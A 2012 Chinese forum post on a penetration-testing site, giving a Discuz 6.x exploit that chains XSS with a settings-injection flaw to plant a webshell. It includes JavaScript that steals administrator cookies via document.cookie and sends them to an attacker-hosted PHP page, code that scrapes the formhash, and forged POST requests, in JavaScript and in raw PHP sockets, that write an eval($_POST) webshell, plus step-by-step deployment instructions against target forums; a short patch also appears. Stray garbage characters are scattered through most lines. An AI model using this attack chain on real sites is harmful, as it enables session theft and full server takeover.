中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell
9 }# W0 T3 z/ W4 f- J+ ZBy racle @tian6.com9 Q4 ^" z4 p; v# J9 Z
欢迎转帖.但请保留版权信息.  g$ P5 t4 ^; h
受影响版本iscuz<=6.1.0,gbk+utf+big5
# @' v1 O: w2 Z7 I% C* B, |2 N/ t) E
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效., P1 o& Z6 D5 c5 s' t$ @9 x# ^) L' o

# }. u. k+ d, u3 ?
5 _( T2 `/ I' D1 U) t9 h1 S3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
& a7 n" x$ x  C, U当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
. g% D5 g, ^& [' T. D
4 y; }4 D5 z' v) e+ T" a( Z  @0 i! m分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等.., E9 G5 ~( |9 @7 p; r
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS0 U% N+ D  ^. G4 q+ j9 l3 i
' k9 p! ?5 f! Q9 X! h: c

* ~6 F+ f; L# C6 K( Z: V7 p----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
! ]9 m1 U( `( M: V/ ~1 |
0 a1 v# ?/ i+ ~! {% j5 m  u- a2 t; @3 j4 x- Y
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.( y3 r( s- m( U8 |
; h, x# K" `. {! \
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.5 n  g( ^2 l/ d2 J" c7 g
# ]' x& A4 P% K3 W& t2 E
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
4 d3 o( j3 H8 e% ]
+ {4 x, p9 i$ E* f+ N2 r: g' J/ g" j" O' n% Z% P" r
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {2 d2 g  {7 f+ n

6 @: i& L& e' E; b. G( S& D' _        global $runwizardfile, $runwizardhistory;2 C2 N1 K  v: v1 i+ C
) |6 U9 n. N+ o* B8 y: n
        $fp = fopen($runwizardfile, 'w');
+ \. o& e0 b$ s- C
( U# p, Z( R% ~3 G) z( W" O3 w        fwrite($fp, serialize($runwizardhistory));
* C( c* V# n# `" r/ G. S1 F% N' J5 p3 o2 v9 k
        fclose($fp);
6 D* h# c9 ~' @5 ^7 ]0 q; T( N
  L, V5 D. w0 a2 H* ?7 D7 r}% z  R  `! d) x8 Y4 O* y! q
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.% P1 N5 |9 {$ K$ g
以下是修补的办法:function saverunwizardhistory() {, P4 \& R% C0 O9 H. E# Q' E

) V+ E  l! @5 Q        global $runwizardfile, $runwizardhistory;4 V* ]6 v# h( F0 O5 y! W- M
: J: {/ }. T9 ]  z
        $fp = fopen($runwizardfile, 'w');
* X: d# j6 t8 m8 y
$ {9 O2 M/ l0 `0 j* @% S" [  t        $s = '<?php exit;?>';0 ?) I9 |. N4 N. N/ C( r
/ h( `* f: k& B2 N4 Z! Y
        $s .= serialize($runwizardhistory);2 j9 i( P$ s0 @3 A3 J

) T. R" ]! k9 H# c" k5 O8 Y        fwrite($fp, $s);
- Z  o7 H. {; |: U& f
7 G8 ?0 I0 ~' D+ ?, X! ~; f5 u) K        fclose($fp);  I) {/ x# E9 Q4 r) v% B- m2 Q# p

) j4 p) o( `9 Y( ~3 L# q# m1 Y. |}
. d: B9 T/ S0 ~" C) S$ H' g复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.1 {( S1 F+ O3 G" z: Q9 s0 ~

+ F5 a- i# s% F+ G4 f. J
$ }9 Y4 X; D# d9 G9 `
4 D- C8 X: q7 p; H" R7 ?) R, V----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------7 _$ p# u$ H5 J# V, C* r
8 F& q- x- M# h
% P# X( t& z1 c- ?: @- V" E0 O
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
$ w3 i9 C! \" L3 T4 ^
! b' F8 {3 d- M* R1 @; o, Z* a" {我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.& m1 h: E1 q* b
' V( h8 u0 d2 ]3 q. y% y/ l, B
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
7 ^+ j  m0 p( X! |8 T" ~& d
# r# I% ^+ f* b6 c2 `& {首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
9 C+ _# Q1 ]2 O9 `' \' `- }  Y( y, K% v
var url="http://目标网站/admincp.php";      + y' C+ l: f8 S! o
( d% V! T4 K9 g  I! B% @5 w
/*获得cookies*/
/ S- Z) A: P. H8 ?( ^1 S- {' {, P' [7 ?
function getURL(s) {; i: X0 r( w' m* ~
- s& n' x; q8 a
var image = new Image();+ z1 [1 G( Z# I' J5 i  X, u

. O: ~. ], C9 h" X& ]: ^% Nimage.style.width = 0;2 h; H- Y& G' w2 b2 k
- g; T8 k7 U2 V9 A
image.style.height = 0;
  [0 L8 G8 Z7 Q
3 s$ R) \) }, b, rimage.src = s;9 U+ P+ ?* o# C" D8 d4 s
- M/ ]9 f7 ^9 D- O
}- D" O  e6 w, [+ V" T' z

/ g& @  [/ T% t2 SgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php) s* q: ^% T" ~. ^* t
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];8 K: ^6 N9 H+ h2 ?/ @- L
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ; w# K  j$ M! h4 d" v  M3 O

; O; u. b, H( F* j$ q& E3 m2 L* G* ~4 x. C4 {+ z* B
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";# Q" C4 p3 u" b

* ^2 c6 o. [! H
7 |7 K% j( H2 z# Q$ P  G0 ^/ Q
9 F2 S$ {1 h6 [6 H5 @, s- l/*hash*/
1 i% F, I" j& x3 k! A0 Z( @
9 Q/ P3 b& F7 x; S+ u! ivar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
0 K. n& ~& z" j% \1 {1 N+ A& ], y$ T, `" V4 R0 ~1 l$ D
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
" d& c" M/ ]# f. P- z6 z" a
' B( h0 [. V1 g1 C2 f* ~) GxmlHttpReq.send();/ u* U4 u. L3 o- Y6 c; i

( B1 {7 a* y5 \3 N+ K; d" K7 kvar resource = xmlHttpReq.responseText;. }# u( L9 N# m9 y( a" Y& k1 Y

8 s1 b3 A$ z7 I) |( tvar numero = resource.search(/formhash/);
( F( l( Z& L7 q# @6 I) {) o0 y8 A/ b9 R' s9 o3 Y2 E% h
var formhash=encodeURIComponent(resource.substr(numero+17,8));
4 d( b3 \) p' t# F9 {5 U; i: U
, x" V" e* K* x( P
2 {4 i. b0 W4 Q/ @/ a+ e1 X$ w2 S1 {! w8 e) |& o
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 " {& V, g. P% S6 P; D

% d  {# N7 q& V' @6 m8 \xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 0 \6 S: a( w5 Q. T# q- ~
* P# J; L6 U, _2 S/ p* ]8 \
xmlHttpReq.setRequestHeader("Referer", url);
3 w4 o# a) O8 Y$ H; M( ~# V9 `$ H2 l- y8 ^  n/ S2 X1 r9 q
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");8 `( E( O9 e! f
" ]/ c+ ?8 [- w
xmlHttpReq.setrequestheader("content-length",post.length); " w' t0 R/ C$ X

) `; i$ Z9 e) g/ l: SxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
2 O" t6 O8 f$ u2 I& w: m; f
& F( a; c8 m2 m9 C5 g: Z. U: WxmlHttpReq.send(post);//发送数据
; L9 t; ]1 }6 o3 |7 h) c- ^! _复制代码这里HASH我假设正确,这样提交,也无须cookies. T4 S/ W; `; k# i0 O

1 X2 l" U# b# Y再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);2 D3 d( r5 F/ @9 X2 U

6 G4 v* k$ E* b# ?) n% I- {$ [if (!$sock) die("$errstr ($errno)\n");" o' {* Y% I  C  _( _  h
9 u4 \0 W7 G9 \. t$ g1 w
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
8 ^- T8 a" h0 A# a' s$ Q
" N8 F% h& z3 S. K! A9 B  `1 x
/ V4 V! i/ [1 N& b  v7 p
4 l0 s9 h( m+ ^0 G% s# zfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
* D  x2 ?" C  G
: p6 k# H- ]: G3 l" lfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");, q' p' x. S; w- _0 N

: }) }# V+ b2 _; F' |" v5 kfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
4 X" ]  J; U2 h
/ w0 {; b, M' {) Rfwrite($sock, "Accept-Language: zh-cn\r\n");
- U% R- V) m' m' U/ J- I& B
2 W1 Z; G) b) G! `fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");9 b9 i2 E" Q; ^" R3 L/ ^2 Q

+ N. @9 K4 Z4 p: R$ j& Ifwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
) \- [4 N8 ^6 _4 e+ E8 M) V
$ m$ `3 j* K! s. C7 J* pfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");5 S5 N' R0 o( R) o
+ v. B  M' [" E  h6 o% O& Q
fwrite($sock, "Host: $url\r\n");+ D1 ^1 K* @) z

. N. n( x$ v2 \% G, W/ i  H8 Yfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
  U$ a$ ?: t3 E1 S' u* v4 t8 F
3 M: \  D/ V- ?# x& w7 Z" }fwrite($sock, "Connection: Keep-Alive\r\n");' r3 a9 s$ H# V6 L1 C

4 r  i8 P; u4 A- Y; pfwrite($sock, "Cache-Control: no-cache\r\n");
% G) t) Z) H' A% h$ ]) K0 B6 l& q0 Q/ n$ ^$ H( l5 o& h$ ?) b' e
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");, `4 A3 m! o" x. t8 K- R% F
: L- a: z0 f+ k) A- q
fwrite($sock, $data);+ K/ A# r) Y; O2 Y$ P# {
2 C. i1 {1 v( r: F7 v9 {

* Q8 c( A/ h3 N
; ]$ J( W( t: |! Q( U; i$headers = "";* Q$ R. F* I) ]' P6 y

# G5 D/ k1 E: E6 Dwhile ($str = trim(fgets($sock, 4096)))
( {2 p$ a( e9 W1 s' ~. U7 b6 @. s) r, }+ M! I* V* J
     $headers .= "$str\n";, @5 H# w( C$ d% `  t7 P  _8 Q
/ g+ F9 i' P& r, z9 y/ ^! I
echo "\n";6 `! i$ d. V( Y0 O8 f
  ]( H: I, U1 X+ e  G' m
$body = "";* n2 {1 s' R' g" Z
+ o8 @- O# {# T! h. N
while (!feof($sock))4 }& Q( _4 C$ @& w) t% W9 `  O9 G

8 @& O4 i7 c: S$ u& Z     $body .= fgets($sock, 4096);9 X2 e: i* B1 j  m0 n( Z
( Z; i; Y2 ^9 u7 c4 {3 u
fclose($sock);
* ?: R4 m$ w8 D3 Y; C" g! t+ D8 k. R4 o0 t
echo $body;
& ]- u# q: S5 M; `5 |复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
' q  K$ j3 v0 J' w* O& M
( X2 }) K. R1 [) u( A1 b. v$ B9 [& ~1 L8 r) b9 ?
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
, v" D5 |3 F1 W9 `& o  ?/ o3 p9 E0 ~, b7 M% _$ |
* s* u! a- a; k
1HP SOCKET利用方法首先打开racle.js
6 c% L9 H1 G. p4 Y* L5 x) F
0 i3 q( R% d7 C; v+ Evar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home9 h( C7 C5 w$ k. P6 `. B& V1 z6 d
4 x( l2 r3 {; B) R6 K% n7 [

% h# |# U. {* w' Y( l& ]0 _5 ]
, R  N/ ^5 \9 ^3 n然后打开racle@tian6.php
% i) F! Y# Q' k0 d+ ?. }. w1 S, W8 h% T5 b1 [3 ?* D9 a
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
, Z) A9 q) m8 o) u- Z
0 v9 k: G  n1 {6 }2 x1 N1 a: t5 J5 u; w( ~2 \8 c

3 N; ~  h5 A! Z$ k' a4 b如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
/ x9 ?7 x& i% U/ J( m3 l# E) c3 z' T3 M% q* |% r* B
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));2 M9 U# S7 K! a0 l& p
$ r  k: K* f- v) v% z2 A8 W

  H+ U0 h3 C3 _; i# {- E1 C6 y5 r  l/ f6 F( t; J
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));- @2 q, A$ v0 ?' z$ h
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.5 k5 N  P$ B$ X' Q# G

/ A. E8 ^& B' Q6 n* O
9 b' T8 q* t) o3 U9 x$ k8 q1 v' H$ J9 F! G, C5 O9 I
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:0 W* W% F$ J: X, v4 [$ Z* X

8 K% o$ I/ r4 v0 C4 Lvar formhash=encodeURIComponent(resource.substr(numero+17,8));6 v6 V+ W* }6 Y
2 {# j& m! ?* A6 }; k
5 P! Q4 i) \; o8 c# W% x) x
$ o* g0 Z( N. r7 h
var formhash=encodeURIComponent(resource.substr(numero+9,8));' v2 c$ Y) r- h0 N1 w% @5 }9 @+ U
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.* y- p- `2 m" [4 j

" f  W+ `  X* I9 s( R1 ~4 ?如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
# V- f) d4 x$ U& Z; ?
+ Z) f# o: o( T- K8 S如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
! }2 k9 n" t4 [0 m% J" K* _1 }, ~, g- S4 C: Z6 [
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.% D4 W! x+ J2 Q0 m

3 ~, ?% {: u+ r% n* C- f




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2